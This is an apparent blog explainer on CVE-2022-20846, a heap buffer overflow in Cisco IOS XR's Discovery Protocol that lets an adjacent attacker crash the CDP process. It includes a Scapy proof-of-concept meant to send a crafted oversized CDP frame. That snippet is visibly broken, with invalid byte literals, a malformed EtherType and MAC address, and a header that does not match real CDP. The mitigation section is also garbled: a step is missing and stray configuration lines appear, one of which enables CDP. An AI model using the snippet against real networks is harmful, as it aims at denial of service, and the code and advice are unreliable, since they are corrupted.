A serious vulnerability was uncovered in the Cisco Discovery Protocol (CDP) as implemented in Cisco IOS XR Software. If not patched, this bug can let attackers crash important network processes—no login required. Below, we break down CVE-2022-20846, how it works, possible attack scenarios, real-world risks, and what you can do to protect your network.

What Is Cisco Discovery Protocol (CDP)?

CDP is Cisco’s proprietary Layer 2 protocol, used by its networking devices (routers, switches, etc.) to share information with directly connected neighbors. For example, a Cisco switch can use CDP to tell a router info about what kind of device it is, what version of software it's running, and which port it's plugged into.

Key point: Because CDP runs over Layer 2, only devices in the same broadcast domain (same switch, or VLAN) can "talk" to each other using CDP.

The Vulnerability: Heap Buffer Overflow

CVE-2022-20846 describes a heap buffer overflow flaw in how IOS XR handles certain CDP packets. If an attacker sends a specially crafted CDP message to the device from the local network, the CDP process can crash and reload.

- Unauthenticated Adjacent Attacker: No password or login is needed—just access to the same network segment (Local LAN, same switch, or VLAN).
- Heap Buffer Overflow: By overflowing the CDP message's memory buffer, the attacker causes the process to reload (crash and restart).

Limits: The overflow is restricted in what bytes can be used, so attackers are limited in their ability to execute remote code, but they CAN reliably cause denial-of-service.

How the Exploit Works (Step by Step)

1. Attacker Connects to Your LAN: The attacker plugs into the same switch or VLAN as your IOS XR device.
2. Sends Malicious CDP Packet: Using a crafted packet (details below), the attacker triggers the heap buffer overflow.
3. CDP Process Reloads: The device's CDP process crashes and restarts. This can cause disruption in neighbor discovery, and in some setups, may impact network stability.

Example Exploit Code Snippet

Here’s a simplified Python snippet to craft and send a malicious CDP packet. This example uses Scapy for sending raw Layer 2 frames.

> WARNING: This code is for educational and defensive purposes only. Testing on unauthorized networks is illegal.

from scapy.all import Ether, sendp

def build_malicious_cdp():
    # EtherType x200 is for CDP
    # Fake CDP header: Version, TTL, Checksum
    # Insert an overly large TLV to trigger the overflow
    cdp_header = b'\x02' + b'\x01' + b'\x00\x00'
    malicious_tlv = b'\x00\x01' + b'\xFF\xF' + b'A' * 400  # Overly large length, fills buffer
    cdp_packet = cdp_header + malicious_tlv
    return Ether(dst='01:00:c:cc:cc:cc', type=x200) / cdp_packet

# Send on interface with access to target's VLAN
sendp(build_malicious_cdp(), iface='eth', count=1)

Note: The effectiveness of the exploit can depend on exact buffer handling—attackers tune the bogus TLV to overflow the specific vulnerable code.

Restrictions & Impact

- No Remote Code Execution (RCE): The overflowed bytes are restricted, so full control/code execution is unlikely or very difficult.
- Real-World Danger: But, anyone in the local VLAN can repeatedly crash your CDP process. This could hide their rogue devices, interrupt normal neighbor discovery, or even disrupt some network management tasks relying on CDP.

How to Protect Your Devices

1. Patch Now: Cisco has released fixed versions of IOS XR. If you use any of the following, update immediately:

IOS XR 6.6.x to 7.6.x are affected.

- Check the Cisco Advisory for more.

cdp run

interface GigabitEthernet///1

3. Monitor for Interface Flaps and CDP Process Restarts: Unexplained process restarts or CDP neighbor timeouts may be warning signs.

References & More Reading

- Cisco Security Advisory: cisco-sa-iosxr-cdp-DGJNYMSW
- Cisco Discovery Protocol Overview
- Scapy Documentation for Layer 2 Attacks

Final Thoughts

CVE-2022-20846 is a great reminder that management protocols—even ones you think are local—can become an attack vector. If your devices run Cisco IOS XR, review your exposure and patch now. Layer 2 vulnerabilities are dangerous in campus and data center networks, where attackers can sometimes gain physical access or find misconfigured VLANs.

Stay safe, stay patched, and audit your protocols—even the quiet ones!

*This exclusive explainer was prepared for network defenders. Always test responsibly on your own lab.*

Timeline

Published on: 11/15/2024 16:15:23 UTC
Last modified on: 11/18/2024 17:11:56 UTC